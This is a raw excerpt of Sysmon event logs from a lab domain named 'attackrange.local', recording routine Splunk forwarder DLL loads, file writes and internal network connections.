Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.253{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000053738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.206{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FDC0E224FBE35D1499F9FDD142A24435,SHA256=2860F551C7FE51E075CEC29C830965A848CF8F915AE83A2FCC88D4F0E73A108F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017217Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:18.425{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50345-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017216Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:20.214{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-049MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.122{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A1027F296CDDE70B752CCE2F11609C24,SHA256=6F380DEC764DF8F88C892857F66F1F4C10A9D5A9C1B0382CF9715E19E3D4638D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000053736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.069{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.069{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.069{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.069{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.069{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.069{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.069{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.069{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000053720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000053716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000053715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000053701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.053{7BD73061-73B8-613B-820B-00000000F001}6504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000053696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 